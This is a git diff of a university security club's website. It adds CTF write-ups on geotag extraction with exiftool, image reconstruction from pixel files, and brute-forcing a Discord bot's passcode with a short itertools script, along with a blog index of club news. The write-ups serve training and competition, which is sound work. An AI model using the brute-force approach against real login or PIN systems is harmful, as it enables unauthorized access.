+File Access Date/Time           : 2020:04:26 03:20:46-07:00
+File Inode Change Date/Time     : 2020:04:26 02:59:52-07:00
+File Permissions                : rw-r--r--
+File Type                       : JPEG
+File Type Extension             : jpg
+MIME Type                       : image/jpeg
+XMP Toolkit                     : Image::ExifTool 10.80
+GPS Latitude                    : 29 deg 59' 34.81" S
+GPS Longitude                   : 169 deg 42' 47.97" W
+Image Width                     : 1080
+Image Height                    : 811
+Encoding Process                : Baseline DCT, Huffman coding
+Bits Per Sample                 : 8
+Color Components                : 3
+Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
+Image Size                      : 1080x811
+Megapixels                      : 0.876
+GPS Latitude Ref                : South
+GPS Longitude Ref               : West
+GPS Position                    : 29 deg 59' 34.81" S, 169 deg 42' 47.97" W
+

We see that it has some geotag information! Let’s get all that out, and see if all the images have that. After working on a python script to do that, I found that exiftool will do that! https://exiftool.org/geotag.html

$ exiftool -fileOrder gpsdatetime -p gpx.fmt /path/to/all_cats > out.gpx
+

Now, using this online tool we can output this data as a png, and interpret the flag from the path:

Diagram depicting flight path that spells out the flag

rtcp{4round_7h3_w0r1d}
+

~ Aaron Esau, Lyell Read

\ No newline at end of file diff --git a/static/blog/houseplantctf-satans-jigsaw-writeup-pencil.jpg b/blog/houseplantctf-satans-jigsaw-writeup-pencil.jpg similarity index 100% rename from static/blog/houseplantctf-satans-jigsaw-writeup-pencil.jpg rename to blog/houseplantctf-satans-jigsaw-writeup-pencil.jpg diff --git a/static/blog/houseplantctf-satans-jigsaw-writeup.jpg b/blog/houseplantctf-satans-jigsaw-writeup.jpg similarity index 100% rename from static/blog/houseplantctf-satans-jigsaw-writeup.jpg rename to blog/houseplantctf-satans-jigsaw-writeup.jpg diff --git a/blog/houseplantctf-satans-jigsaw-writeup/index.html b/blog/houseplantctf-satans-jigsaw-writeup/index.html new file mode 100644 index 0000000..19a36a4 --- /dev/null +++ b/blog/houseplantctf-satans-jigsaw-writeup/index.html @@ -0,0 +1,7 @@ + +Codestin Search App

HouseplantCTF Satan's Jigsaw Writeup

HouseplantCTF Satan's Jigsaw Writeup

Lyell Read

Tags

HouseplantCTF logo

Prompt

Oh no! I dropped my pixels on the floor and they’re all muddled up! It’s going to take me years to sort all 90,000 of these again 🙁

Dev: Tom

Hint! long_to_bytes

File: chall.7z

Solution

This provided archive contains 90,000 JPEG’s. I extracted all of them to ./images (relative to this README’s PWD). Each of these images has a size of 1 pixel.

Then, comes the fun part. Before reading the hint, I tried just forming the image from the pixels in the order that they appeared in the folder, but this revealed a ‘static’ image.

The hint makes obvious that we must convert the decimal part of the filename to bytes, but it does not explain what to do with those. However, after trying it out, we saw that the he decoded filenames contain an X and Y ‘coordinate’ in the format “X Y”. Decoding all this, sorting, and making an image is all achieved in the script image_reconstruct.py.

A picture of a pencil held in a hand with two QR codes overlaid on top of it

The top left QR code was essential to solving the challenge, however the bottom right one contains the flag.

rtcp{d1d-you_d0_7his_by_h4nd?}
+

~ Lyell Read

\ No newline at end of file diff --git a/static/blog/ijctf-vault-writeup.jpg b/blog/ijctf-vault-writeup.jpg similarity index 100% rename from static/blog/ijctf-vault-writeup.jpg rename to blog/ijctf-vault-writeup.jpg diff --git a/blog/ijctf-vault-writeup/index.html b/blog/ijctf-vault-writeup/index.html new file mode 100644 index 0000000..10c41f0 --- /dev/null +++ b/blog/ijctf-vault-writeup/index.html @@ -0,0 +1,16 @@ + +Codestin Search App

IJCTF - Vault Writeup

IJCTF - Vault Writeup

Lyell Read

Tags

IJCTF logo

Prompt

We locked our secret box, You can directly ping the bot (@Vault #8895 ) using “start” to get the secret but we don’t know the door code we used random() also we used sleep(10).

shift register…

Author : Harsh and warlock_rootx

Hint: if pin in user_input(): #Good Stuff…

Solution

This problem (and especially the hint) make clear what we have to do. We need to provide the discord bot with as many possible passcodes as we can for the suggested charset and length as possible… now, discord makes this hard, as messages are limited to 2000 characters. The bot asks for these passcodes:

[0, 1]				l=7
+[4, 5, 6] 			l=6
+[5, 6, 7, 8, 9] 	l=4
+[1, 2, 3, 4] 		l=5
+[0, 1, 2, 5, 8, 9] 	l=4
+[0, 1] 				l=11
+

Despite sometimes having to choose as little as 1/12 of the total passcode wordlist size, I was able to get the challenge during the ctf with a ‘bruteforce’ tactic. The strings that I sent are in strings-bruteforce.txt, and they worked in a couple of tries (the odds were better than they may seem, as overlapping passcodes count too). Some passcode sets (like that of the last problem). I made these strings with python itertools:

import itertools
+passcode_list = list(itertools.product(charset, repeat=length))
+print(''.join([''.join(y) for y in passcode_list]))
+

After the CTF, though, I was nagged by the fact that I could improve on this… I therefore made a partial superstring program to make the strings shorter, and include more possible passcodes per message to the bot. It is here, and it creates these passcode lists. All apart from the last one will be 100% reliable, as I had to shave 200 characters off the last one. My superstring algorithm is lazily made, and not perfect, so there exists a case where one could compose strings that would contain all passcodes for all challenges proposed by the bot.

All in all a fun quick chall!

IJCTF{0p3n3d_d3_bru1jn_v4ul75}
+

~ Lyell Read

\ No newline at end of file diff --git a/blog/index.html b/blog/index.html new file mode 100644 index 0000000..f6a634c --- /dev/null +++ b/blog/index.html @@ -0,0 +1,12 @@ + +Codestin Search App

Blog

Members of OSUSEC’s CDC Team holding the travelling trophy

PRCCDC 2024

We are delighted to announce that OSUSEC’s Cyber Defense team won first place in PRCCDC 2024 last week!! This is our third year in a row, and we’re really looking forward to competing in …

Read More

The EFF logo printed on an illustrated lighthouse in a background of blue.

Electronic Frontier Alliance

As OSUSEC moves into 2024 and beyond, we are taking a closer look at how our actions shape the world around us. Because of this, we are choosing to endorse the Electronic Frontier Alliance’s …

Read More

How I Approach pwn Challenges

The below write-up was posted in our internal CTF League discord server. Replicated here for posterity.

Generally, my process for a pwn challenge is:

1. Recon

  • Figure out what kind of program …

Read More

Photo of OSUSEC students picking some locks.

Meeting 11/08/23

Ni Haowdy members!

Last night, we had our first lockpicking meeting of the school year! Zane led us through an introduction to lockpicking and the various locks we have. Lockpicking is a great outlet …

Read More

Photo of OSUSEC members on the CDC team

Cyberforce 2023

Last weekend, OSUSEC’s cyberdefense team flew out to Chicago to compete in the Department of Energy’s Cyberforce Competition! For 4 out of 6 members of the team, this was their very first …

Read More

Photo of member Lucas Ball showing off challenge coins from various competitions

Meeting 11/01/23

Happy start of winter, members!

Last night, we held a working party for the NSA Codebreaker Challenge! Lucas introduced each of the tasks and discussed the rewards for high-achievers and solvers. …

Read More

Picture of the competition scoreboard.

WWT Red Team CyberRange

Last Thursday, we entered two teams into WWT’s red team CyberRange! The competition tasked us with breaking into the infrastructure of a fake ransomware group. Aside from an engaging and topical …

Read More

Photo of 9 OSUSEC students and Terry Boedeker (topmost)

Armis Workshop

Last Friday night, we were very fortunate to host Terry Boedeker of Armis to discuss IoT security in preparation for Cyberforce next weekend!

He talked about the importance of cyber-physical security …

Read More

Battelle's logo and motto

Meeting 10/25/23

Good Thursday, members!

Last night we got to hear from Isabel Boona from Battelle! She presented on her work in reverse-engineering microchips, and how her previous work in materials science helped …

Read More

Meeting 10/18/23

Ni Haowdy!

Last night, we hosted Dr. Kelsey Fulton of the Colorado School of Mines. They talked about their research into the why and the how that software developers introduce security …

Read More

Art of the SuperMetroid logo

Meeting 10/11/23

Howdy hackers!

Last night, we had the fantastic Jonathan Keller give a talk about how he used his pwn skills in order to get a world record in a Tool Assisted Speedrun of Super Metroid! Thank you …

Read More

Screenshot of the first slide of the "welcome back" meeting.

Meeting 10/04/23

Howdy hackers!

Thanks for showing up last night, and staying flexible with us! I know we weren’t able to host the meeting we wanted at the last minute, but hopefully you got to enjoy some memes, …

Read More

Final scoreboard of WWT Blue Team CyberRange event.

WWT Blue Team CyberRange

Last Thursday, OSUSEC assembled a team of 4 students to compete in WWT’s fantastic blue team CyberRange! We had a ton of fun and are very proud to announce that we placed 3rd, going up against a …

Read More

OSUSEC’s CDC team in the competition room on day 2

NCCDC 2023

The last weekend of April, OSUSEC’s Cyber Defense team competed in NCCDC, the National Collegiate Cyber Defense Competition. The competition required us to secure and administer a handful of networks …

Read More

The club's new 6 officers in front of screens and a whiteboard

2023-2024 OSUSEC Officers Selected

This year’s elections were intense; every candidate was subjected to memes, music, and whiteboard art that led to a lot of laughs and a lot of great people elected. Without further adieu, here are …

Read More

Members of OSUSEC’s CDC Team

PRCCDC 2023

This past weekend, OSUSEC’s Cyber Defense team competed in PRCCDC, our regional Collegiate Cyber Defense Competition. The competition required us to secure and administer a handful of networks full of …

Read More

Casey Colley explaining a design of their project to use as an example.

Meeting Notes 11/09

Howdy hackers! Last night, I covered cybersecurity in software development. I talked about how you can incorporate security into each stage of the Software Development Lifecycle, some examples of how …

Read More

Members of OSUSEC’s CDC Team and chaperone Emily Longman

Cyberforce Competition 2022

This past weekend, OSUSEC’s Cyberdefense Competition team flew out to Chicago, IL to compete in the Department of Energy’s Cyberforce Competition! We were tasked with securing and administering a …

Read More

NetSPI logo

Meeting Notes 11/02

Howdy hackers! Welcome to the second half of Fall term! Tonight we hosted NetSPI: Senior Director Karl Fosaaen and Security Consultant (and former club member) Michael Jereza. They walked us through …

Read More

OSUSEC members try an intro pwn challenge, including 1337 hackors Alex Marx and Milan Donhowe

Meeting Notes 10/19

Howdy hackers! Hope your week 4 is going well. Tonight Cameron introduced Reversed Engineering (“Rev”) challenges and how to pwn them. Rev and pwn challenges are a staple of CTF competitions, and we …

Read More

Matt Jansen and Jake Johanson dive deeper after finishing the same task.

Meeting Notes 10/12

Howdy hackers! Thanks to everyone who showed up tonight! Tonight we introduced the NSA Codebreaker Challenge, and held a work party. Hopefully you were able to make some progress on Tasks in a focused …

Read More

OSUSEC members pose on stage after their first-place win being announced.

BSidesPDX 2022

Howdy Hackers! This Friday, a group of OSUSEC members took a day trip up to Portland to attend BSidesPDX 2022 and compete in their CTF. We had an absolute blast, winning first place in the CTF, …

Read More

Casey Colley explaining business injects of CyberDefense Competitions.

Meeting Notes 10/05

Howdy hackers! Thanks to everyone who showed up, and we hope it was enjoyable and informative! Tonight we introduced Cyber Defense Competitions. We covered some of the skills and areas you would learn …

Read More

Cameron McCawley debriefing the club on activities for this year.

Meeting Notes 9/28

Howdy hackers! Thanks to everyone who showed up to the first meeting and we hope it was fun and informative!! Tonight we helped break in the new year for the club, and many people walked away from the …

Read More

2022-2023 OSUSEC Officers Decided

The votes are in! After an entertaining election with some contested positions and contestants running from the floor, the officers for the next academic year, 2022-2023.

President: Cameron McCawley …

Read More

Meeting Notes 3/2

Thank you to everyone who attended tonight’s meeting! We talked about what Wargames are, what their value is, and what some good starter wargames are to play.

The slides for the meeting are available …

Read More

Meeting Notes 2/9

Thank you to everyone who attended tonight’s meeting! We chatted some more about reverse engineering, discussing the stack layout, function preambles and local variables on the stack. We introduced …

Read More

Meeting Notes 2/23

Thank you to everyone who attended tonight’s meeting! We introduced several different CTF categories and what challenges usually look like within those categories. Then, we went over some of the …

Read More

Meeting Notes 2/2

Thank you to everyone who attended tonight’s meeting! We chatted about reverse engineering and binary exploitation (pwn) tools and how to use them, and I demonstrated how to solve the rev01 challenge …

Read More

Meeting Notes 1/26

Thank you to everyone who attended! This meeting covered an introduction to reverse engineering on x86 64-bit. We covered some key differences between x86 and x86-64, then we examined how typical …

Read More

Meeting Notes 1/19

Thank you to everyone who attended! This meeting covered a presentation called “CS271 for Pwning”, an introduction to assembly and shellcoding with a focus on the useful aspects to pwning / binary …

Read More

Meeting Notes 1/12

Thank you to everyone who attended! This meeting covered the solutions to all NSA Codebreaker 2021 Tasks. I hope everyone enjoyed, questions can always be tossed into the #nsacc-21 channel.

Here are …

Read More

NSA Codebreaker Challenge logo

NSA Codebreaker Challenge 2021

On January 4th, 2021, OSUSEC finished 3rd place with 133,337 points at the NSA Codebreaker Challenge. 189 OSU students and OSUSEC members solved at least one of the 11 tasks, and 5 OSU students and …

Read More

Cyberforce Competition logo

DOE Cyberforce Competition 2021

On Nov. 13, 2021, the OSUSEC Cyber Defense Competition (CDC) Team placed 1st place regionally and 7th nationwide in the Department of Energy’s annual Cyberforce Competition ( …

Read More

Meeting Notes 10/27

Thank you to everyone who attended! This meeting covered an introduction to NSA Codebreaker Challenge, including some common tools and strategies used to solve challenges 0-6.

Here are the slides …

Read More

Meeting Notes 10/6

Thank you to all the members that attended this meeting! We covered lockpicking basics, legality and ethics, before Ryan presented a live demonstration of picking a lock. Then, each table had a …

Read More

Meeting Notes 10/1

Thank you to everyone for coming to our first meeting this year! We had well over our expected 70 people in attendance. We introduced OSUSEC, what we do, how our Discord server works, as well as some …

Read More

2021-2022 OSUSEC Officers Decided

For the coming school year, we welcome in 8 officers, in the following positions:

  • President: Lyell Read
  • Vice President: Zach Taylor
  • Treasurer: Mike Carris
  • Lab Manager: Cameron McCawley
  • Community …

Read More

Logo for Crowdstrike Adversary Quest

Crowdstrike Adversary Quest - Much Sad

Prompt

We have received some information that CATAPULT SPIDER has encrypted a client’s cat pictures and successfully extorted them for a ransom of 1337 Dogecoin. The client has provided the ransom …

Read More

0x41414141 CTF logo

0x41414141 CTF - 0x414141

Prompt

I think offshift promised to opensource some of their code

author: notforsale

Solution

First off, we navigate to the offshift-dev github account, linked from the offshift site. Unfortunately, …

Read More

BSidesPDX logo

BSidesPDX - Xclusive Numborz

Prompt

Category: Over The Air

290 Points

8 Solves

I was watching my regularly scheduled state sponsored programming when I got some strange interference. It sounded like a little girl was talking to …

Read More

BSidesPDX logo

BSidesPDX - Please Stand By

Prompt

Category: Over The Air

263 Points

14 Solves

Sometimes I like to tune into the TV when no shows are on so I can watch the test pattern. I like to believe that there’s a secret message hidden in …

Read More

BSidesPDX logo

BSidesPDX - Down the Rabbit Hole

Prompt

Category: Over The Air

297 Points

5 Solves

During one of the commercial breaks of my favorite state sponsored educational video, there was some interference once again. There was a woman …

Read More

EkoPartyCTF logo

EkoPartyCTF - Leak

EkoParty CTF 2020 Git 1

Prompt

Exact prompt has been forgotten. Linked to this GitHub repo

Solution

This solution was quite obscure, as I approached this challenge in a github mindset, not a ctf::misc …

Read More

EkoPartyCTF logo

EkoPartyCTF - Env

EkoParty CTF 2020 Git 3

Prompt

Not too sure of the original prompt, however I did not need it.

Solution

After the second part of the git challenge saga, we have gotten a new repository with some new …

Read More

EkoPartyCTF logo

EkoPartyCTF - Docs

EkoParty CTF 2020 Git 2

Prompt

Exact prompt has been forgotten. Linked to this GitHub repo

Solution

As I mentioned in the writeup for leak, I was in a very githubby mindset when I started this …

Read More

Fword CTF logo

Fword CTF - Identity Fraud

Points: 419 Solves: 86 Category: OSINT

Prompt

Someone stole our logo and created a team named “Eword”. In order to find him, I created a fake twitter account (@1337bloggs) to join Eword team. …

Read More

NahamConCTF banner

NahamConCTF - Tron

75 points

Prompt

NahamConTron is up to more shenanigans. Find his server.

Solution

I used the namechk tools from the OSINT Framework Site. Specifically, I used OSINT Framework > Username > …

Read More

NahamConCTF banner

NahamConCTF - Time Keeper

50 points

Prompt

There is some interesting stuff on this website. Or at least, I thought there was…

Connect here: https://apporima.com/

Note, this flag is not in the usual format.

Solution

After …

Read More

NahamConCTF

NahamConcTF - Microosoft

100 points

Prompt

We have to use Microsoft Word at the office!? Oof…

Download the file below.

File

Solution

Opening the file does not do much, but it would not be that easy.

Screenshot of open Word document spelling &ldquo;oof&rdquo;

Using file we can find …

Read More

NahamConCTF banner

NahamConCTF - Finsta

50 points

Prompt

This time we have a username. Can you track down NahamConTron?

Solution

I used the namechk tools from the OSINT Framework Site. Specifically, I used OSINT Framework > Username …

Read More

Thank You

Being your club president for the last 3 years has been an incredible experience. Back in Fall 2017 when I first came to OSU, the club had maybe 20-30 members and wasn’t involved in CTF or CDC at all. …

Read More

IJCTF logo

IJCTF - Vault Writeup

Prompt

We locked our secret box, You can directly ping the bot (@Vault #8895 ) using “start” to get the secret but we don’t know the door code we used random() also we used sleep(10).

shift register… …

Read More

HouseplantCTF logo

HouseplantCTF Satan's Jigsaw Writeup

Prompt

Oh no! I dropped my pixels on the floor and they’re all muddled up! It’s going to take me years to sort all 90,000 of these again 🙁

Dev: Tom

Hint! long_to_bytes

File: chall.7z

Solution

This …

Read More

Houseplant CTF logo

HouseplantCTF - Catography Writeup

Prompt

Jubie’s released her own collection of cat pictures. Go check it out!

http://challs.houseplant.riceteacatpanda.wtf:30002

Note: The Unsplash author credit is not a part of the challenge, it’s …

Read More

PRCCDC 2020 Results

Due to the current COVID-19 pandemic, the in-person Pacific Rim Collegiate Cyber Defense Competition (PRCCDC) was unfortunately cancelled. However, PRCCDC, working in combination with NCCDC, allowed …

Read More

ByteBanditsCTF logo

ByteBanditsCTF - string.equals(integer) Writeup

Prompt

Someone gave me two functions to convert strings into integers. I converted some strings to the integers and noted them down. Can you help me converting the concatenation of those strings in …

Read More

MidnightsunCTF logo

MidnightsunCTF Snake++

Prompt

141 points, 38 solves

Snake Oil Co. has invented a special programming language to play their new and improved version of Snake. Beat the game to get the flag. settings Service: nc …

Read More

AUCTF logo

AUCTF - Who Made Me

950 points

Prompt

One of the developers of this CTF worked really hard on this challenge.

note: the answer is not the author’s name

Author: c

Solution:

Now for a much more real-world OSINT …

Read More

AUCTF logo

AUCTF - OSINT You All Over the Place

A post-competition writeup; 983 points

Prompt

I do not have access to the prompt, but the URL is devs-r-us.xyz

Solution

After solving the first three challenges, I looked into this one. I investigated …

Read More

AUCTF logo

AUCTF - Good Old Days

877 points

Prompt

This site used to look a lot cooler.

Author: c

Solution

Wayback Machine, here I come! This is the most useful view of the captures for the site ctf.auburn.edu: …

Read More

AUCTF logo

AUCTF - ALIedAS About Some Thing

903 points

Prompt

See what you can find.

AUCTFShh

Author: c

Solution

AUCTFShh looks like a username. To find where that username is in use, we can either check manually (as I started out doing), or …

Read More

NahamConCTF banner

NahamConCTF - Fake File

100 points

Prompt

Wait… where is the flag?

Connect here: nc jh2i.com 50026

Solution

Let’s nc to that server and see what’s up:

$ nc jh2i.com 50026
+
+bash: cannot set terminal process group (1): …

Read More

The VolgaCTF logo

VolgaCTF - excellent-crackme

Prompt

Excellent Crackme We know one can do pretty much everything in Excel spreadsheets, but this…

excel_crackme

Solution

An excel challenge – that’s a first for us! Let’s crack that file open. We …

Read More

TAMUCTF logo

TAMUCTF RSAPWN

Prompt

We must train the next generation of hackers.

nc challenges.tamuctf.com 8573

Solution

It looks like this just asks us to find the two “big prime” factors of the number provided, and return …

Read More

TAMUCTF logo

TAMUCTF - WOOF_WOOF

Prompt

(I did not get the prompt text in time, and admin closed access to the challs when the CTF ended :()

The instructions mentioned charset A-Z and ‘-‘ and ‘@’, with flag format GIGEM-.... …

Read More

TAMUCTF logo

TAMUCTF - RUSSIAN_NESTING_DOLLS

Prompt

Our monitoring systems noticed some funny-looking DNS traffic on one of our computers. We have the network logs from around the time of the incident. Want to take a look?

Files: netlogs.pcap …

Read More

TAMUCTF logo

TAMUCTF - GEOGRAPHY

Prompt

My friend told me that she found something cool on the Internet, but all she sent me was 11000010100011000111111111101110 and 11000001100101000011101111011111.

She’s always been a bit cryptic. …

Read More

TAMUCTF Logo

TAMUCTF - ALCAPONE

Prompt

Eliot Ness is the lead on taking down Al Capone. He has gained access to Capone’s personal computer but being the good detective he is, he got the disk image of the computer rather than look …

Read More

The Fireshell Security Team's banner, featuring their website URL

FireshellCTF Against the Perfect discord Inquisitor 1 and 2

Prompt 1

You’re on a journey and come to the Tavern of a Kingdom Enemy, you need to get information of a secret organization for the next quest. Be careful about the Inquisitor! He can ban you from …

Read More

Officer Elections on 3/12

Next week, we will be having officer elections! This is a great way to get more involved with the club and help represent the College of Engineering. +tl;dr Come vote on Thursday, 3/12 at 7pm in KEC …

Read More

Welcome to DamCTF

shamir_babytcache101

Read More

Photo of classroom full of students, many of which have laptops out

Meeting Notes 10/3

Thanks for the great turnout again tonight! We went over some tools you can use for the NSA Codebreaker challenge.

Here is a link to the slides (requires ONID sign-in): Google Slides

Next week’s CTF …

Read More

Image of a classroom full of students, many students have their laptops out

Meeting Notes 9/26

Thanks everyone for coming out to our first meeting! We had over 50 people in attendance, and introduced the OSU Security Club, what we do, what we stand for, our plans for the year, and worked on a …

Read More

Photo of members of the SSH Lab with NSA analsysts

NSA Visit

Yesterday the National Security Agency came to meet with some members of the university and give a talk to the OSU Security Club. The visit was a great success and we had over 100 people in attendance …

Read More

DefCon Qualifiers 2019 - redacted-puzzle

The only file given is a GIF image, named redacted-puzzle.gif. We must first inspect it:

$ exiftool redacted-puzzle.gif
+ExifTool Version Number         : 10.80
+File Name                       : …

Read More

Meeting Notes 5/9

Today we hosted Ryan Gurr and Alex Ryan from Fidelis Cybersecurity, who talked about their experiences and background in information security, and showed a cool demo of Fidelis’s platform.

If you have …

Read More

ångstromCTF lithp

Problem

My friend gave me this program but I couldn’t understand what he was saying – what was he trying to tell me?

Author: fireholder

Points: 60

Solution

First things first, let’s open that lisp …

Read More

ångstromCTF - streams

Problem

White noise is useful whether you are trying to sleep, relaxing, or concentrating on writing papers. Find some natural white noise here.

Note: The flag is all lowercase and follows the …

Read More

2019-2020 Officers

Here are the new officers for the 2019-2020 school year:

  • President: Zander Work
  • Vice President: Hadi Rahal-Arabi
  • Treasurer: David Park
  • Multimedia Coordinator: Adam Stewart
  • Lab Manager: Ryan Kennedy …

Read More

Meeting Notes 4/18

Tonight I gave a tutorial on IDA Pro basics, and how to get started with this awesome tool. I also released some new binaries on the CTF site for you to practice IDA.

Remember, as a OSU Security Club …

Read More

2019-2020 Officer Elections on April 25th

We will be holding officer elections for next school year during our regular meeting on Week 4 (April 25th). This is a great way to be more involved with the club, and represent us to the College of …

Read More

Victory photo of 6 OSUSEC students, with one holding a trophy

PRCCDC 2019 Results

This past weekend, OSUSEC competed at the Pacific Rim Collegiate Cyber Defense Competition (PRCCDC) hosted by Highline College. I’m pleased to announce that we placed 3rd out of 13 teams in this tough …

Read More

UTCTF 2019 - Scrambled

Tl;dr Cool encoding using Rubik’s cube, I wrote a Python script.

This was a 1250 point Forensics challenge (highest points in the category). Here’s the description:

Scrambled challenge description

By the time I took a look at the …

Read More

UTCTF 2019 - Crackme

This was a 1200 point reversing challenge (tied for highest point value in the category). Here’s the description:

Screenshot of UTCTF&rsquo;s CTFd for the Crackme challenge

This what we see when we run the binary:

$ ./crackme
+Please enter the correct …

Read More

UTCTF 2019 - Rogue Leader

Problem Description

Our once-venerable president has committed the unspeakable crime of dine-and-dashing the pizza during our own club meetings. He’s on the run as we speak, but we’re not sure where …

Read More

Meeting Notes - 3/7

Thanks to Kees Cook for an awesome look at kernel security! Kees talked about how the kernel exploit for CVE-2017-7038 was discovered, which allowed privilege escalation due to a heap overflow.

You …

Read More

Meeting 2/28 - OSUSEC Lab

Tonight I talked about the new OSUSEC lab environment! A few systems are currently live, and more will be coming up through the end of the term, including the self-registration system. For information …

Read More

Meeting 2/21

Tonight we hosted Karl Fosaaen from NetSPI, and he gave an awesome talk on pentesting in an Azure environment.

If you’re interested in learning more about this, check out the NetSPI blog or the Azure …

Read More

Meeting 2/14

Tonight I went over some basic usage of GDB, IDA Pro, and pwntools for solving the first pwnables on our CTF site.

Link to the slides (requires ONID login). The slides have information on getting the …

Read More

Meeting 2/7

Today we continued discussing reverse engineering and introduced 64-bit assembly. There are more samples on the GitHub repo.

The only announcement for today is to RSVP for our upcoming event with …

Read More

Meeting 1/31

Today we talked about some basic reverse engineering, and compare/contrasting x86 assembly with C code.

There are some new challenges up on CTFd, rev[1-4]

Link to the slides (requires ONID login)

Read More

Meeting 1/24

Tonight we worked on buffer overflows, and some binaries on the new OSUSEC CTF platform.

Slides (requires ONID login)

Next week, we’re going to work on similar binaries, but comparing the assembly …

Read More

Meeting 1/17

Tonight we talked about some CTF tools and did a walkthrough for “start” on pwnable.tw. You can read a detailed writeup for this binary on the OSUSEC GitHub.

Here’s a link to the slides (requires ONID …

Read More

NSA Codebreaker 2018 Task 7

Refunds – (Smart-Contract Development; Vulnerability Analysis; Exploit Development)

Task 7 has us refund the victims who have already paid the ransom. In other words, we need to recover all the funds …

Read More

NSA Codebreaker 2018 - Task 6

Loophole – (Smart-Contract Development; Vulnerability Analysis; Exploit Development)

Task 6 has us exploit a loophole in the smart-contracts to recover the decryption key without spending any ether …

Read More

Meeting 1/10

Thanks for a great first meeting for Winter 2019!

Here is a link to the slides (requires ONID login): Slides

For those of you who were unable to make it, here’s a brief summary of what we went over. …

Read More

Welcome to Winter 2019!

Happy New Years! Our first meeting will be this Thursday at 7pm in KEC1003, and we will be meeting at the same time/place the whole term.

Some things to look forward to for this term:

I’m working with …

Read More

Screenshot of the NSA Codebreaker Challenge's website scoreboard.

NSA Codebreaker Challenge 2018 Results

The NSA Codebreaker Challenge finished today, and I’m proud to announce that Oregon State University is the winner! We also had the most people complete Task 5 and 2 people complete Task 7, which is …

Read More

Victory photo of 6 OSUSEC students as well as Yeongjin Jang, and a representative from the Department of Energy.

Cyberforce Competition 2018 Results

I’m thrilled to announce that OSUSEC placed 1st at the Cyberforce Competition last weekend at PNNL, and 3rd nationwide out of 70 teams! I’m very proud of everyone’s hard work, and am already excited …

Read More

Meeting 11/15

Thanks for a great last meeting for the Fall term!

I gave a talk on all of the low-level architecture and x86 assembly content needed to get started with binary pwning, here is a link to the slides. …

Read More

Meeting 11/01

Thanks to Karl Fosaaen from NetSPI for the awesome presentation on an introduction to penetration testing! Remember, if you want to learn about these things on your own, please make sure to do it on …

Read More

Meeting 10/25

Thanks to Emily for the great talk on SIEMs (Security Incident and Event Management)! Here is a link to the slides.

Announcements from tonight’s meeting:

  • Make sure to RSVP for the NetSPI event …

Read More

HITCON CTF 2018 EV3 Basic

Link to Github

Screenshot of a CTFd challenge called EV3 Basic with a TAR archive to download.

Even though this was a pretty simple challenge, I really enjoyed it and wanted to do a write-up for it anyways.

EV3 is the latest generation of the LEGO Mindstorms robots, and thanks …

Read More

Meeting 10/11

Thanks Zach for the awesome presentation tonight on Network Security Monitoring! I’ll update this post with a link to the slides once they are available.

Announcements from tonight’s meeting:

Make …

Read More

Meeting 10/4

Thanks to Akshith for a great presentation on Blockchain! For those of you who were unable to make it, here is a link to the slides: …

Read More

Meeting 9/27

Thanks for the awesome turnout tonight! I’ll make a permanent reservation for that space, as it seems like we have a lot more members this year, which is fantastic!

Here is a link to the slides for …

Read More

Cyberforce Competition

The Cyberforce Competition (formerly known as the Department of Energy Cyber Defense Competition) is coming up in a couple months, and it’s time to start getting ready!

If you are interested in being …

Read More

CSAW Prep

It’s time to start getting ready for CSAW CTF!!! If we qualify for the finals, we will send 4 people to New York to compete. The way we will be selecting the four people is as follows:

  1. Register on …

Read More

Victory photo of 6 OSUSEC students, Yeongjin Jang, and the director of the Cyberforce program.

Osusec Wins Department of Energy Cyber Defense Competition

Over the past weekend, OSUSEC competed in the Department of Energy Cyber Defense Competition (DOE CDC), and placed 1st regionally (US West), and 4th nationwide. The team was responsible for deploying …

Read More

\ No newline at end of file diff --git a/blog/index.xml b/blog/index.xml new file mode 100644 index 0000000..0edac9d --- /dev/null +++ b/blog/index.xml @@ -0,0 +1,242 @@ +Codestin Search Apphttps://osusec.org/blog/Recent content in Blog on OSU Security ClubHugo -- gohugo.ioen-usTue, 02 Apr 2024 08:41:08 -0700Codestin Search Apphttps://osusec.org/blog/prccdc-2024/Tue, 02 Apr 2024 08:41:08 -0700https://osusec.org/blog/prccdc-2024/We are delighted to announce that OSUSEC&rsquo;s Cyber Defense team won first place in PRCCDC 2024 last week!! This is our third year in a row, and we&rsquo;re really looking forward to competing in Nationals in San Antonio later this month. We are excited to continue to represent OSU cybersecurity for another year! +CCDC requires us to secure and administer a handful of networks full of virtual machines hosting common business services, as well as continuously respond to IT request tickets and deliver professional reports to supervisors.Codestin Search Apphttps://osusec.org/blog/electronic_frontier_alliance/Sun, 03 Mar 2024 19:05:41 -0800https://osusec.org/blog/electronic_frontier_alliance/As OSUSEC moves into 2024 and beyond, we are taking a closer look at how our actions shape the world around us. Because of this, we are choosing to endorse the Electronic Frontier Alliance&rsquo;s five core principles: +Free Expression Security Privacy Creativity Access to Knowledge We believe that advances in technology, and specifically cybersecurity, can be a critical tool in making people&rsquo;s lives better. But in equal measure, it can be a tool to stifle the human spirit.Codestin Search Apphttps://osusec.org/blog/jonathans-workflow/Wed, 24 Jan 2024 22:25:26 -0700https://osusec.org/blog/jonathans-workflow/The below write-up was posted in our internal CTF League discord server. Replicated here for posterity. +Generally, my process for a pwn challenge is: +1. Recon Figure out what kind of program you&rsquo;re dealing with &ndash; run file to see what kind of binary it is, maybe checksec to see what kind of security measures it has, figure out how to get it to run on your system Run the program a few times as a user, just so you can be familiar with what it does.Codestin Search Apphttps://osusec.org/blog/meeting-11-08-23/Thu, 09 Nov 2023 10:10:33 -0800https://osusec.org/blog/meeting-11-08-23/Ni Haowdy members! +Last night, we had our first lockpicking meeting of the school year! Zane led us through an introduction to lockpicking and the various locks we have. Lockpicking is a great outlet for puzzle-solving as well as a practical tool if you are ever locked out of our apartment :) +We will continue to have lockpicking meetings throughout the year, so keep an eye out for the next one!Codestin Search Apphttps://osusec.org/blog/cyberforce-2023/Tue, 07 Nov 2023 10:10:16 -0800https://osusec.org/blog/cyberforce-2023/Last weekend, OSUSEC&rsquo;s cyberdefense team flew out to Chicago to compete in the Department of Energy&rsquo;s Cyberforce Competition! For 4 out of 6 members of the team, this was their very first time in a cyberdefense competition, and they absolutely rocked it! The team trained on Industrial Control Systems, system administration, and incident response in preparation, and came away with 15th out of 95 teams! +Thank you for everyone who helped put on Cyberforce.Codestin Search Apphttps://osusec.org/blog/meeting-11-01-23/Thu, 02 Nov 2023 10:10:30 -0800https://osusec.org/blog/meeting-11-01-23/Happy start of winter, members! +Last night, we held a working party for the NSA Codebreaker Challenge! Lucas introduced each of the tasks and discussed the rewards for high-achievers and solvers. Lucas also 